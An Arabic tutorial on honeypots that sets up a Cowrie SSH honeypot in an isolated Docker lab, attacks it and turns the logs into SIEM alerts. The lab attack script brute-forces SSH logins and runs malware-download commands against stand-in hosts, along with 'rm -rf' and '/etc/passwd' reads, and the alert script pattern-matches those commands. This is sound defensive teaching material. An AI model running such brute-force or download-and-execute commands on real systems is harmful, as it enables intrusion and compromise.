مصائد المهاجمين Honeypots: مستشعر لا ينذر خطأ

مشكلة الكشف التي رافقتنا في هذا المسار كلها واحدة: الضجيج. فمستشعر الشبكة يرى حركة الموظفين وحركة المهاجمين معاً، فيطلق مئات الإنذارات يومياً، أغلبها نشاط طبيعي، والمحلل يقضي يومه يفرز الضجيج ليجد الحقيقي، كما رأينا في يوم محلل SOC. والسؤال: ماذا لو كان عندك مستشعر لا يرى إلا المهاجمين، لا موظف ولا خدمة حقيقية تخلط نشاطها به؟ هذا بالضبط ما تقدمه مصيدة المهاجمين Honeypot.

والفكرة بسيطة وقوية: تضع في شبكتك نظاماً وهمياً يبدو خدمة حقيقية، ولكن لا موظف يستخدمه ولا خدمة حقيقية عليه، فأي اتصال به مشبوه بالتعريف، لأن لا أحد شرعي له سبب أن يلمسه. فالمصيدة تقلب معادلة الكشف: بدل أن تبحث عن الحقيقي في الضجيج، كل ما فيها حقيقي. وفي هذا المقال نبني مصيدة حقيقية في مختبر معزول، ونهاجمها بأنفسنا، ونرى ماذا تسجل، ونحول ما سجلت إلى تنبيه في المجمع SIEM، ثم نعرف منصة T-Pot التي تجمع عشرات المصائد في مكان واحد.

دليليوم محلل SOC: فرز التنبيهات Alert Triage من التنبيه إلى القرارستة عشر تنبيهاً حقيقياً من Wazuh وSuricata نفرزها واحداً واحداً بالإثراء من Zeek حتى القرار والتصعيد.دليلالسجلات الأمنية Logs: ماذا تجمع ومن أين قبل أن تبني SOCجمعنا سجلات nginx وتطبيق صغير وSSH بأداة Vector، فرأينا كيف يقلب وقت بلا منطقة زمنية ترتيب الحادثة، وكيف ينجو السجل المركزي من المسح.دليلمراقبة السيرفرات مع Wazuh: من السجل Log إلى حظر المهاجمشغلنا Wazuh مع وكيل على سيرفر تجريبي، فكشف تخمين كلمات مرور SSH وحظر المهاجم تلقائياً، ونبه على ملف PHP دخيل خلال ثانية.

وسوف نناقش في هذا المقال ما يلي:

• ما المصيدة، ولماذا مستشعر لا ينذر خطأ تقريباً.
• أنواع المصائد: مستوى التفاعل، والغرض من الإنتاج إلى البحث.
• أين تضع المصيدة، ولماذا العزل شرط.
• تجربة عملية: ننصب مصيدة Cowrie معزولة، ونهاجمها، ونرى ماذا تسجل.
• تغذية المجمع SIEM: كيف يصبح لمس المصيدة تنبيهاً واحداً عالي الثقة.
• منصة T-Pot من التوثيق الرسمي، ولماذا لم نشغلها، ومتى تحتاجها.
• مخاطر المصائد، وأخطاء شائعة، وقائمة تحقق.

ما المصيدة، ولماذا لا تنذر خطأ؟

الصورة التالية تبين الفرق بين المستشعر العادي والمصيدة:

والمصيدة فخ Decoy: نظام أو خدمة وهمية تبدو جذابة للمهاجم، غرضها الوحيد أن تلمس. فعندما يستطلع مهاجم شبكتك باحثاً عن أنظمة ضعيفة، يجد المصيدة فيظنها هدفاً سهلاً، فيهاجمها، فتسجل كل ما يفعل وتنذرك. والفرق الجوهري عن أي مستشعر آخر أن المصيدة لا نشاط شرعي عليها: فلا خدمة حقيقية، ولا مستخدم، ولا سبب لأي اتصال بريء. ولهذا فإنذاراتها شبه خالية من الأخطاء، فكل من لمسها إما مهاجم وإما نظام أخطأ عنوانه، وكلاهما يستحق النظر.

وهذا يحل أكبر مشكلتين في الكشف معاً. الأولى إرهاق التنبيهات Alert Fatigue: المصيدة تعطي القليل عالي القيمة بدل الكثير منخفضه، فلا تغرق المحلل. والثانية الكشف المبكر: المهاجم الذي يستطلع شبكتك قبل أن يضرب هدفه الحقيقي قد يلمس المصيدة في استطلاعه، فتنذرك وهو ما زال يبحث، قبل أن يصل إلى ما يهم. فالمصيدة ليست بديلاً عن بقية دفاعك، وإنما طبقة تكشف ما يفلت من غيرها، بأقل ضجيج.

ولنفهم قوة هذه الفكرة بالأرقام، تخيل الفرق. مستشعر الشبكة على سيرفر المتجر يرى آلاف الطلبات في الساعة، أغلبها عملاء حقيقيون، فيحتاج قواعد دقيقة وفلاتر كثيرة ليميز الهجوم، وحتى بعدها يطلق إنذارات خاطئة. أما المصيدة فلا طلب شرعي يصلها أبداً، فعدد إنذاراتها في اليوم قد يكون صفراً في الأيام الهادئة، وكل إنذار فيها حدث حقيقي يستحق النظر. وهذا يعني أن محللاً واحداً يستطيع أن يتابع عشرات المصائد، لأنها لا تطلب منه فرزاً، فقط تنذره حين يحدث شيء. فالمصيدة لا تقلل الضجيج فحسب، وإنما تحوله إلى صفر، وهذا ما يجعلها أرخص طبقة كشف من حيث وقت المحلل، أثمن مورد في أي مركز عمليات.

من أين جاءت فكرة المصيدة؟

فكرة أن تنصب فخاً للمهاجم قديمة، وأشهر توثيق مبكر لها قصة رواها كليفورد ستول في كتابه «بيضة الوقواق» عام 1989، حين لاحظ فرقاً صغيراً في فاتورة حاسوب مختبره، فتتبعه حتى اكتشف مخترقاً، ونصب له بيانات مزيفة جذابة ليبقيه متصلاً حتى يتتبعه. وتلك كانت مصيدة بدائية: محتوى وهمي يستدرج المهاجم ويكشفه. ثم تطورت الفكرة في التسعينيات إلى أنظمة كاملة تنصب عمداً لتهاجم، وظهرت مشاريع مثل Honeynet Project التي تدرس المهاجمين بمصائد عالية التفاعل.

والفكرة بقيت ثابتة رغم تطور الأدوات: ضع شيئاً لا سبب لأحد شرعي أن يلمسه، فمن لمسه كشف نفسه. وما تغير هو سهولة النشر: فبعد أن كانت المصيدة تحتاج نظاماً كاملاً وخبرة، صارت اليوم Container تشغلها بأمر واحد، كما سنفعل. وهذا ما نقل المصيدة من أداة باحثين إلى طبقة كشف في متناول أي شركة، حتى الصغيرة. وهذا التحول مهم، لأنه غير من يستطيع أن يستخدم المصيدة: فبعد أن كانت حكراً على فرق أمن كبيرة لديها خبراء، صارت متاحة لمسؤول تقنية واحد في شركة صغيرة، يشغلها بأمر، ويقرأ تنبيهاتها في مجمعه. فالفكرة القديمة لم تتغير، ولكن من يملك تطبيقها اتسع كثيراً، وهذا بالضبط ما يجعلها اليوم طبقة كشف عملية لا ترفاً بحثياً. والمبدأ الذي اكتشفه ستول قبل عقود هو نفسه الذي نطبقه اليوم: المصيدة لا تمنع المهاجم، وإنما تجعله يكشف نفسه بأن يلمس ما لا ينبغي أن يلمسه أحد.

أنواع المصائد

تختلف المصائد في عمق ما تحاكيه وفي الغرض منها، والصورة التالية تجمع الأنواع:

فمن حيث مستوى التفاعل Interaction Level:

• تفاعل منخفض Low-interaction: تحاكي الخدمة سطحياً، تفتح المنفذ وتسجل من اتصل، دون أن تسمح بدخول حقيقي. بسيطة وآمنة، لأن المهاجم لا يصل إلى شيء يستغله.
• تفاعل متوسط Medium-interaction: تحاكي الخدمة بعمق أكثر، تقبل دخولاً وهمياً وتسجل الأوامر، كما يفعل Cowrie مع SSH الذي سنجربه، فيظن المهاجم أنه دخل، ويكتب أوامره، وكلها تسجل، وهو في شل وهمي لا يمس نظاماً حقيقياً.
• تفاعل عال High-interaction: نظام حقيقي كامل في بيئة محكومة، يعطي أدق صورة عن المهاجم، ولكنه أخطر، لأنه نظام حقيقي قد يستغله المهاجم فعلاً إن لم يحكم عزله.

ومن حيث الغرض: مصيدة الإنتاج Production غرضها الكشف، تضعها في شبكتك لتنذرك إذا دخلها أحد، وتكون قليلة التفاعل غالباً لأنها أأمن وأسهل، وهي ما يحتاجه المدافع. ومصيدة البحث Research غرضها دراسة المهاجمين وجمع عيناتهم وأساليبهم، وتكون عالية التفاعل غالباً، للباحثين الذين يديرون مخاطرها. والقاعدة للشركة التي تريد كشفاً: مصيدة إنتاج قليلة التفاعل تكفي وأأمن، واترك العالية للباحثين.

وهناك نوع خاص خفيف جداً يستحق الذكر: الرمز المصيدة Honeytoken، وهو ليس نظاماً، وإنما قطعة بيانات مزيفة جذابة تضعها حيث لا ينبغي أن يصل إليها أحد: مفتاح وصول وهمي في ملف إعدادات، أو حساب مستخدم إداري لا يستخدمه أحد، أو ملف باسم مغر مثل «كلمات المرور». فأي استخدام لهذا الرمز إشارة أن أحداً وصل إلى حيث لا ينبغي. وميزته أنه بلا تكلفة تقريباً: لا سيرفر ولا Container، وإنما بيانات تزرعها وتراقب استخدامها. فحساب وهمي في نظام الهوية، إذا حاول أحد الدخول به، لا أحد شرعي يعرفه أصلاً، فمحاولة الدخول وحدها تنبيه. والرموز المصيدة أرخص صورة من فكرة المصيدة، وأسهل ما تبدأ به شركة صغيرة قبل أن تنصب مصيدة كاملة.

أين تضع المصيدة، ولماذا العزل؟

المصيدة نظام تدعو المهاجمين لمهاجمته، فهي بطبيعتها خطر محكوم. فإذا كانت عالية التفاعل، فقد يستغلها المهاجم كنقطة انطلاق إلى بقية شبكتك، وتحول الفخ الذي نصبته إلى باب دخول. ولهذا فالعزل شرط، لا خيار، في كل مصيدة: يجب أن تكون معزولة بحيث لا تستطيع أن تصل إلى أنظمتك الحقيقية حتى لو اخترقت. وهذا ما سنفعله في المختبر بشبكة Docker داخلية، وما يجب أن تفعله في الإنتاج بتقسيم الشبكة Network Segmentation الذي شرحناه في مقال تقسيم الشبكة.

وأين تضعها في الإنتاج يحدد ما تكشف. فمصيدة داخل الشبكة الداخلية تكشف المهاجم الذي اخترق بالفعل ويتحرك جانبياً بحثاً عن أهداف، وهذا أثمن كشف، لأن من يلمس مصيدة داخلية مهاجم وصل إلى الداخل. ومصيدة على الحافة المكشوفة للإنترنت تكشف من يستطلع من الخارج، وتجمع هجمات الإنترنت العشوائية. والشركة الصغيرة تبدأ بمصيدة داخلية واحدة في الشبكة التي تحمل أهم الأنظمة، فأي لمس لها إشارة قوية أن أحداً وصل إلى حيث لا ينبغي.

وحيلة تزيد قيمة المصيدة الداخلية: اجعلها تبدو هدفاً مغرياً. فلو سميت الخادم الوهمي باسم عادي لم يلتفت إليه المهاجم، ولكن لو سميته باسم يوحي بأنه مهم، مثل خادم قاعدة بيانات أو خادم نسخ احتياطي، جذبت المهاجم إليه. فالمهاجم الذي اخترق شبكتك يبحث عن أثمن ما فيها، فإذا رأى اسماً مغرياً توجه إليه، فلمس المصيدة أولاً. وهذا يقلب منطق الدفاع: بدل أن تخفي أنظمتك المهمة، تضع أمامها فخاً يبدو أهم منها، فمن يبحث عن الكنز يقع في الفخ قبل أن يصل إلى الكنز الحقيقي. وهذا ما يسمى أحياناً أرض الخداع Deception، وهي طبقة كاملة من الدفاع تبنى على هذا المبدأ: املأ شبكتك بأهداف وهمية جذابة، فيضيع المهاجم بينها، ويكشف نفسه في أولها.

المصيدة في الإنتاج: اعتبارات عملية

عندما تنقل المصيدة من المختبر إلى الإنتاج، تظهر اعتبارات جديدة. أولها المراقبة: المصيدة التي لا يقرأ سجلها أحد عديمة الفائدة، فتأكد أن تنبيهاتها تصل إلى من يفرز، وأنها تذهب إلى قناة يراها أحد، لا إلى سجل منسي. وثانيها الصيانة: المصيدة برنامج يحتاج تحديثاً كغيره، فلا تتركها على إصدار قديم فيه ثغرات حقيقية قد تنقلب عليك. وثالثها العزل الصارم: في الإنتاج العزل أهم منه في المختبر، لأن المصيدة على شبكة حقيقية، فإن اخترقت يجب ألا تصل إلى شيء، وهذا يحتاج تقسيم شبكة محكماً.

ورابعها، وهو دقيق، ألا تثق بها أكثر من اللازم. فالمصيدة قد تسكت ليس لأن لا هجوم، وإنما لأنها تعطلت أو توقف تسجيلها، فأضف إليها قاعدة تنبهك إن توقفت المصيدة نفسها عن إرسال أي شيء، كما نبهنا إلى المصادر الصامتة في مقال السجلات. فالمصيدة أداة كشف، وأدوات الكشف نفسها تحتاج من يراقب أنها تعمل، وإلا صارت فجوة تظنها حماية.

تجربة عملية: مصيدة Cowrie من اتصال إلى تنبيه

الآن نبني مصيدة حقيقية. نستخدم Cowrie، وهي أشهر مصيدة SSH متوسطة التفاعل، مفتوحة المصدر، تحاكي خادم SSH، تقبل الدخول الوهمي، وتسجل كل محاولة وكل أمر بصيغة JSON. ونشغلها على شبكة معزولة، ونهاجمها من Container مهاجم على نفس الشبكة، ثم نحول ما سجلت إلى تنبيه. والصورة التالية تبين الطريق:

تشغيل Cowrie على شبكة معزولة

نستخدم Cowrie 3.1.4، ونشغله على شبكة --internal، ونربط مجلد السجلات لنقرأها من خارج ال Container:

docker network create --internal lab-net
docker run -d --name cowrie --network lab-net \
  -v "$(pwd -W)/log:/cowrie/cowrie-git/var/log/cowrie" cowrie/cowrie:3.1.4
docker logs cowrie | tail -2

[cowrie.ssh.factory.CowrieSSHFactory#info] CowrieSSHFactory starting on 2222
[cowrie.ssh.factory.CowrieSSHFactory#info] Ready to accept SSH connections

وحجم ال Image نحو 405 ميجابايت، واستهلكت المصيدة بعد التشغيل نحو 44 ميجابايت من الذاكرة فقط، فهي خفيفة جداً، تعمل على أصغر سيرفر. ولاحظ أنها تستمع على المنفذ 2222 لا 22، وهذا اختيار شائع يسهل تشغيلها دون صلاحيات عالية، ويمكن أن توجه إليها المنفذ 22 في الإنتاج. والخيار --internal يعزلها عن الإنترنت، فما يفعله المهاجم فيها لا يخرج.

وكيف تحاكي Cowrie خادم SSH؟ إنها لا تشغل خادم SSH حقيقياً، وإنما تنفذ بروتوكول SSH بنفسها، فتتفاوض على التشفير كخادم حقيقي، وتعرض شاشة دخول، وتقبل أو ترفض كلمات المرور بحسب قائمة تحددها أنت، فإذا «قبلت» عرضت على المهاجم شلاً وهمياً Fake Shell يحاكي نظام Linux: فيه ملفات وهمية، وأوامر تستجيب كأنها حقيقية. فالمهاجم يكتب cat /etc/passwd فيرى محتوى ملف مزيف، ويكتب uname -a فيرى نظاماً وهمياً، وهو يظن أنه في خادم حقيقي، بينما كل ما يراه تمثيل تسجله المصيدة. وهذا هو معنى «متوسطة التفاعل»: عمق كاف ليكشف المهاجم نيته، دون نظام حقيقي يمكن أن يستغله.

بناء صورة المهاجم

قبل الهجوم تفصيل تقني يعلمنا شيئاً عن العزل: المهاجم يحتاج مكتبة SSH ليتصل بالمصيدة، ولكن الشبكة معزولة عن الإنترنت، فلا يستطيع أن ينزل المكتبة وقت التشغيل. والحل أن نبني صورة المهاجم مسبقاً، وهي متصلة بالإنترنت، فتنزل المكتبة وتخزنها في الصورة، ثم نشغل الصورة الجاهزة على الشبكة المعزولة. وهذا نمط يتكرر في المختبرات المعزولة: كل ما تحتاجه يجب أن يكون داخل الصور قبل العزل، لأن العزل يمنع أي تنزيل بعده. فالعزل يشترى بثمن: أن تجهز كل شيء مسبقاً، وهو ثمن صغير مقابل الأمان.

نهاجم المصيدة بأنفسنا

الآن نلعب دور المهاجم من Container على نفس الشبكة. والمهاجم النموذجي على SSH يخمن كلمات المرور أولاً، فإذا دخل نفذ أوامر استطلاع، ثم حاول تنزيل برمجيته. ولأن الشبكة معزولة ولا تصل إلى مستودعات الحزم، بنينا صورة مهاجم صغيرة فيها مكتبة SSH مسبقاً، ثم شغلناها على الشبكة الداخلية. ووصف السلوك بالكلمات: المهاجم يجرب كلمات مرور شائعة، فتقبل المصيدة بعضها عمداً لتراقب ماذا سيفعل بعد الدخول:

"""Simulates an attacker who found our honeypot on the isolated lab network: it brute-forces SSH,
   then, on a password cowrie accepts, opens a shell and runs the recon commands attackers typically run.
   It targets only the honeypot container on a private, internet-less Docker network."""
import paramiko, time
paramiko.util.log_to_file("/dev/null")
HOST, PORT = "scu-hp-cowrie", 2222

def login(user, pw):
    c = paramiko.SSHClient(); c.set_missing_host_key_policy(paramiko.AutoAddPolicy())
    try:
        c.connect(HOST, PORT, user, pw, timeout=8, allow_agent=False, look_for_keys=False); return c
    except paramiko.AuthenticationException:
        return None

print("[*] brute force of user root:")
shell_conn = None
for pw in ["123456", "letmein", "password", "root", "admin", "toor"]:
    c = login("root", pw)
    print(f"    root/{pw:9} -> {'ACCEPTED' if c else 'denied'}")
    if c and shell_conn is None:
        shell_conn = c
    elif c:
        c.close()

if shell_conn:
    print("[*] opening a shell and running recon + a fake malware download:")
    sh = shell_conn.invoke_shell(); time.sleep(1); sh.recv(4096)
    for cmd in ["uname -a", "id", "cat /etc/passwd", "wget http://malware.example/x.sh", "curl http://198.51.100.9/bot -o /tmp/bot", "rm -rf /tmp/*"]:
        print(f"    $ {cmd}")
        sh.send(cmd + "\n"); time.sleep(0.4); sh.recv(8192)
    shell_conn.close()
print("[*] done")

docker build -t lab-attacker -f Dockerfile.atk .
docker run --rm --network lab-net lab-attacker

والمخرج سوف يكون كما يلي:

[*] brute force of user root:
    root/123456    -> denied
    root/letmein   -> ACCEPTED
    root/password  -> ACCEPTED
    root/root      -> denied
    root/admin     -> ACCEPTED
    root/toor      -> ACCEPTED
[*] opening a shell and running recon + a fake malware download:
    $ uname -a
    $ id
    $ cat /etc/passwd
    $ wget http://malware.example/x.sh
    $ curl http://198.51.100.9/bot -o /tmp/bot
    $ rm -rf /tmp/*
[*] done

ولاحظ أن المصيدة قبلت عدة كلمات مرور «بنجاح»، وهذا مقصود: فهدفها أن يظن المهاجم أنه دخل، فيكشف نيته كاملة في الأوامر التي ينفذها. فلو رفضت كل المحاولات لاكتفى المهاجم بالتخمين ورحل، ولما عرفنا ماذا كان سيفعل. فالمصيدة تبيع للمهاجم وهم النجاح مقابل أن يريها خطته.

ولاحظ في مخرج المهاجم ترتيب أفعاله، فهو يحكي قصة الهجوم كاملة. أولاً خمن كلمات المرور واحدة واحدة، وهذا سلوك التخمين Brute Force الذي يراه كل خادم مكشوف للإنترنت كل يوم. ثم حين «دخل»، لم يتوقف، وإنما بدأ يستطلع: uname -a ليعرف نوع النظام، وid ليعرف صلاحيته، وcat /etc/passwd ليعرف المستخدمين. وهذا سلوك الاستطلاع Reconnaissance بعد الدخول، أي أن المهاجم يتعرف على ما وصل إليه قبل أن يقرر خطوته التالية. ثم حاول تنزيل برمجيته بأمري wget وcurl، وهذا أخطر ما في الجلسة، لأنه يكشف أنه لا يستطلع فقط، وإنما يريد أن يزرع شيئاً، على الأرجح لينضم الجهاز إلى شبكة أجهزته المخترقة. وأخيراً حاول حذف آثاره بـ rm -rf. فأنت ترى سلسلة الهجوم كاملة: دخول، فاستطلاع، فتثبيت، فطمس أثر، وكلها مربوطة بأساليب في إطار MITRE ATT&CK.

ماذا سجلت المصيدة؟

كل ما فعله المهاجم سجلته Cowrie في ملف JSON، حدثاً حدثاً. والصورة التالية تجمع جلسة المهاجم كما سجلتها:

وهذا سطر دخول ناجح كما سجلته المصيدة، بصيغة JSON منظمة جاهزة للمجمع:

{"eventid": "cowrie.login.success", "username": "root", "password": "letmein", "src_ip": "192.168.96.3", "timestamp": "2026-10-28T16:16:01.077343Z", "session": "6b1681642b42"}

ولاحظ غنى ما سجلت: كل محاولة تخمين بكلمة المرور المجربة، وكل دخول ناجح، وكل أمر نفذه المهاجم، والعنوان الذي جاء منه، ومعرف الجلسة الذي يربط أحداثها. فأنت ترى نية المهاجم كاملة، من التخمين إلى الاستطلاع إلى محاولة تنزيل البرمجية، في بيئة لا يضرها. وهذه هي القيمة التي لا يعطيها أي مستشعر آخر: لا تخبرك فقط أن أحداً هاجم، وإنما تريك ماذا كان ينوي أن يفعل لو كان النظام حقيقياً.

وقارن هذا بما يراه مستشعر الشبكة لنفس الهجوم: يرى اتصالاً مشفراً على المنفذ 22، ولا يعرف ما بداخله لأن SSH مشفر، فكل ما يستطيع قوله «اتصال SSH من هذا العنوان». أما المصيدة فهي طرف الاتصال نفسه، فتفك التشفير لأنها الخادم، وترى كل ما كتب المهاجم. وهذا فرق جوهري: مستشعر الشبكة يرى الظرف المغلق، والمصيدة تقرأ الرسالة بداخله. ولهذا فالمصيدة لا تنافس بقية الكشف، وإنما تكمله: حيث يعمى المستشعر عن المحتوى المشفر، تقرؤه المصيدة لأنها الطرف الآخر. وهذا يجعلها أثمن ما يكون في كشف الهجمات التي تمر مشفرة، حيث يعجز المستشعر عن رؤية ما بداخلها.

وتفصيل أخير في البيانات: لاحظ أن المصيدة سجلت كلمات المرور التي جربها المهاجم، وهذه معلومة قيمة. فهي تخبرك ما يجربه المهاجمون فعلاً ضدك، فإن رأيت كلمة مرور في قائمتهم مستخدمة في أنظمتك الحقيقية، فأنت في خطر مباشر. كما أنها تبني صورة عن حملات التخمين: نفس قائمة كلمات المرور تظهر عند مهاجمين كثيرين تعني أداة واحدة تنتشر. فكل تفصيل سجلته المصيدة، من كلمة المرور إلى الأمر إلى العنوان، قطعة في صورة من يهاجمك وكيف. ومن جمع هذه القطع عبر أسابيع يبني معرفة عن خصمه لا يعطيها أي تقرير جاهز: من يهاجمني أنا، في قطاعي، بأي أساليب، فيوجه دفاعه إلى ما يواجهه فعلاً.

تغذية المجمع SIEM: من سجل إلى تنبيه

السجل الغني وحده لا يكفي، فالقيمة أن يتحول إلى تنبيه يصل إلى المحلل. وهنا تظهر أجمل خاصية في المصيدة: أي مصدر لمسها تنبيه، لأن لا أحد شرعي يلمسها. والسكربت التالي يقرأ سجل المصيدة، ويحول كل مصدر لمسها إلى تنبيه واحد عالي الثقة، يرفع خطورته بحسب ما فعل:

"""Reads the honeypot's JSON log and turns it into SIEM alerts. The key idea: ANY connection to a
   honeypot is suspicious, because nothing legitimate should ever touch it. So the honeypot produces
   very few, very high-confidence alerts, the opposite of a noisy network sensor."""
import json, sys, collections

events = [json.loads(l) for l in open(sys.argv[1], encoding="utf-8") if l.strip()]
by = collections.Counter(e["eventid"] for e in events)
sources = {e["src_ip"] for e in events if e.get("src_ip")}
print(f"events: {len(events)}  sources that touched the honeypot: {sorted(sources)}\n")

# every source that connected is already an alert: the honeypot is a tripwire
for ip in sorted(sources):
    ev = [e for e in events if e.get("src_ip") == ip]
    fails = [e for e in ev if e["eventid"] == "cowrie.login.failed"]
    oks = [e for e in ev if e["eventid"] == "cowrie.login.success"]
    cmds = [e["input"] for e in ev if e["eventid"] == "cowrie.command.input"]
    sev = "CRITICAL" if cmds else "HIGH" if oks else "MEDIUM"
    print(f"[{sev}] honeypot touched by {ip}")
    print(f"    brute force: {len(fails)} failed, {len(oks)} 'successful' logins "
          f"(cowrie accepted: {sorted({e['password'] for e in oks})})")
    if cmds:
        print(f"    {len(cmds)} commands run after login:")
        for cmd in cmds:
            tag = ""
            if any(w in cmd for w in ("wget", "curl")): tag = "  <-- malware download attempt"
            if "rm -rf" in cmd: tag = "  <-- destructive / anti-forensics"
            if "/etc/passwd" in cmd or cmd.startswith(("id", "uname")): tag = "  <-- host reconnaissance"
            print(f"        {cmd}{tag}")
print(f"\nSIEM takeaway: {len(sources)} high-confidence alert(s), near-zero false positives, because a honeypot "
      f"has no legitimate users. Feed these straight to the analyst queue.")

docker run --rm -v "$(pwd -W):/w" -w /w python:3.13.17-slim python alert.py log/cowrie.json

events: 39  sources that touched the honeypot: ['192.168.96.3']

[CRITICAL] honeypot touched by 192.168.96.3
    brute force: 2 failed, 4 'successful' logins (cowrie accepted: ['admin', 'letmein', 'password', 'toor'])
    6 commands run after login:
        uname -a  <-- host reconnaissance
        id  <-- host reconnaissance
        cat /etc/passwd  <-- host reconnaissance
        wget http://malware.example/x.sh  <-- malware download attempt
        curl http://198.51.100.9/bot -o /tmp/bot  <-- malware download attempt
        rm -rf /tmp/*  <-- destructive / anti-forensics

SIEM takeaway: 1 high-confidence alert(s), near-zero false positives, because a honeypot has no legitimate users. Feed these straight to the analyst queue.

في المخرج أعلاه لاحظ التالي:

• تنبيه واحد لا مئة: كل جلسة المهاجم، بتخمينها وأوامرها، تجمعت في تنبيه واحد عن مصدر واحد لمس المصيدة. فبدل أن يرى المحلل عشرات الأحداث، يرى سطراً واحداً: هذا العنوان لمس المصيدة وفعل كذا.
• خطورة متدرجة: رفع السكربت الخطورة إلى حرج لأن المهاجم لم يكتف بلمس المصيدة، وإنما دخل ونفذ أوامر وحاول تنزيل برمجية. فمجرد اللمس متوسط، والدخول عال، وتنفيذ الأوامر حرج.
• بلا إنذار خاطئ: لا موظف ولا خدمة على المصيدة، فلا نشاط شرعي يخلط، ولذلك يذهب هذا التنبيه مباشرة إلى طابور المحلل دون فرز طويل، عكس تنبيهات مستشعر الشبكة التي يفرز المحلل أغلبها كإنذار خاطئ كما في يوم محلل SOC.

وفي الإنتاج، بدل السكربت، ترسل سجل المصيدة إلى نفس المجمع الذي يجمع بقية سجلاتك، كما بنينا في مقال السجلات، وتكتب له قاعدة بسيطة: أي حدث من المصيدة تنبيه. وCowrie تدعم إخراج أحداثها إلى وجهات كثيرة مباشرة، منها أنظمة SIEM، فلا تحتاج حتى سكربتاً وسيطاً.

ولاحظ تصميم القاعدة التي كتبها السكربت: لم نكتب قاعدة لكل أسلوب كما في مقال قواعد الكشف، وإنما قاعدة واحدة بسيطة: أي مصدر لمس المصيدة تنبيه. وهذا الفرق جوهري، فقواعد الكشف على الأنظمة الحقيقية معقدة لأنها تميز الهجوم من النشاط الطبيعي، أما على المصيدة فلا نشاط طبيعي، فالقاعدة في أبسط صورها: «حدث = تنبيه». ثم نرفع الخطورة بحسب ما فعل المهاجم: مجرد اللمس متوسط، والدخول عال، وتنفيذ أمر خطير حرج. فالتعقيد الذي نحتاجه في بقية الكشف يختفي عند المصيدة، وهذا جزء من قوتها: بساطة القاعدة تعني قلة الخطأ.

وتفصيل عملي: لا ترسل كل حدث من المصيدة تنبيهاً منفصلاً، وإلا أغرقت المحلل بعشرات التنبيهات لجلسة واحدة. وإنما اجمع أحداث الجلسة الواحدة في تنبيه واحد، كما فعل السكربت حين جمع كل أحداث العنوان في سطر واحد. فالمحلل يريد أن يعرف «هذا العنوان لمس المصيدة وفعل كذا»، لا أن يرى كل ضغطة مفتاح. وهذا يربط المصيدة بمفهوم الترابط Correlation الذي شرحناه في مقال قواعد الكشف: تجميع أحداث متفرقة في قصة واحدة.

حذف المختبر

docker rm -f cowrie lab-attacker
docker network rm lab-net
docker image rm cowrie/cowrie:3.1.4 lab-attacker

منصة T-Pot: كل المصائد في مكان واحد

جربنا مصيدة واحدة، ولكن المهاجمين لا يهاجمون SSH وحده، وإنما كل خدمة: الويب، وقواعد البيانات، وأنظمة التحكم الصناعي، والبريد. ومن هنا جاءت منصة T-Pot من فريق أمن شركة Telekom الألمانية، برخصة GPL-3.0، والصورة التالية تعرفها:

وT-Pot ليست مصيدة واحدة، وإنما منصة تجمع أكثر من عشرين مصيدة تعمل معاً، منها Cowrie التي جربناها، ومعها تصور للهجمات بمنصة Elastic Stack وخرائط حية تريك من أين تأتي الهجمات على مستوى العالم. وهي تعمل بـ Docker وdocker compose، وتوجه إليها كل المنافذ، فتستقبل هجمات كل الخدمات في مكان واحد، وتعرضها في لوحات موحدة.

ولماذا لم نشغلها في هذا المقال؟ لأن توثيقها الرسمي يطلب موارد لا يوفرها مختبر معزول محدود: ثماني إلى ست عشرة جيجابايت من الذاكرة، ومئة وثمانية وعشرين جيجابايت من القرص على الأقل، والأهم اتصالاً مفتوحاً بالإنترنت لتستقبل هجمات العالم الحقيقي. وهذا الشرط الأخير يناقض مبدأ مختبرنا المعزول: فمصيدة التعلم نعزلها عن الإنترنت، أما T-Pot فغرضها جمع هجمات الإنترنت الحقيقية، فتحتاج أن تكون مكشوفة. لذلك وصفناها من توثيقها الرسمي دون تشغيل، ولم نخترع لها مخرجات، وجربنا بدلاً منها مصيدة Cowrie التي هي إحدى مكوناتها، فتعلمنا المبدأ نفسه بموارد صغيرة.

ومتى تحتاج T-Pot؟ عندما تريد مصيدة إنتاج كاملة على سيرفر مخصص مكشوف للإنترنت، لتجمع هجمات العالم الحقيقي وتدرسها، أو لتبني استخبارات تهديدات من عناوين المهاجمين وأساليبهم كما في مقال MISP وOpenCTI. أما للبدء، ولكشف من يتحرك داخل شبكتك، فمصيدة واحدة خفيفة مثل Cowrie تكفي، وتعلمك المبدأ، وتنذرك بأقل موارد.

ولاحظ الفرق في الموارد الذي يوضح لماذا نبدأ صغيراً: مصيدة Cowrie واحدة احتاجت 44 ميجابايت من الذاكرة في مختبرنا، بينما T-Pot تحتاج ثماني جيجابايت على الأقل، أي نحو مئتي ضعف. والسبب أن T-Pot تشغل أكثر من عشرين مصيدة معاً، ومعها منصة Elastic Stack كاملة للتصور والبحث، وهذه ثقيلة بطبيعتها. فإذا كان كل ما تريده أن تعرف إن دخل أحد شبكتك الداخلية، فمصيدة SSH واحدة تعطيك ذلك بأربعة وأربعين ميجابايت، ولا داعي لثماني جيجابايت وبنية كاملة. ومبدأ «ابدأ بما يكفي» هذا يتكرر في كل هذا المسار: الأداة الأبسط التي تحل مشكلتك أفضل من الأقوى التي تثقلك.

وهذا لا يقلل من قيمة T-Pot في مكانها: فالجهة التي تريد أن تدرس هجمات الإنترنت على نطاق واسع، أو تبني خلاصة استخبارات، أو تراقب عشرات أنواع الخدمات، تجد في T-Pot ما لا تعطيه مصيدة واحدة: صورة شاملة بلوحات جاهزة. والفرق بين الحالتين هو الفرق بين حاجة الشركة الصغيرة، أي كشف من دخل، وحاجة الباحث أو الجهة الكبيرة، أي فهم المشهد كاملاً. فاختر بحسب حاجتك لا بحسب ما يبدو أقوى، فالأقوى في غير محله عبء لا ميزة.

من الكشف إلى الاستخبارات

المصيدة تكشف، ولكنها تعطي أكثر: مادة خام لاستخبارات التهديدات. فكل جلسة تسجلها فيها عنوان المهاجم، وكلمات المرور التي جربها، والأوامر التي نفذها، وعنوان البرمجية التي حاول تنزيلها. وهذه كلها مؤشرات Indicators تستطيع أن تستخدمها في دفاعك: فالعنوان الذي هاجم مصيدتك قد يهاجم أنظمتك الحقيقية، فتحظره؛ وكلمات المرور التي يجربها المهاجمون تخبرك ما تتجنب؛ وأساليبهم تخبرك ما تكشف. وهذا هو الجسر بين المصيدة ومعلومات التهديدات التي شرحناها في مقال MISP وOpenCTI: المصيدة تنتج المؤشرات، ومنصة الاستخبارات تخزنها وتشاركها وتحولها إلى قواعد كشف.

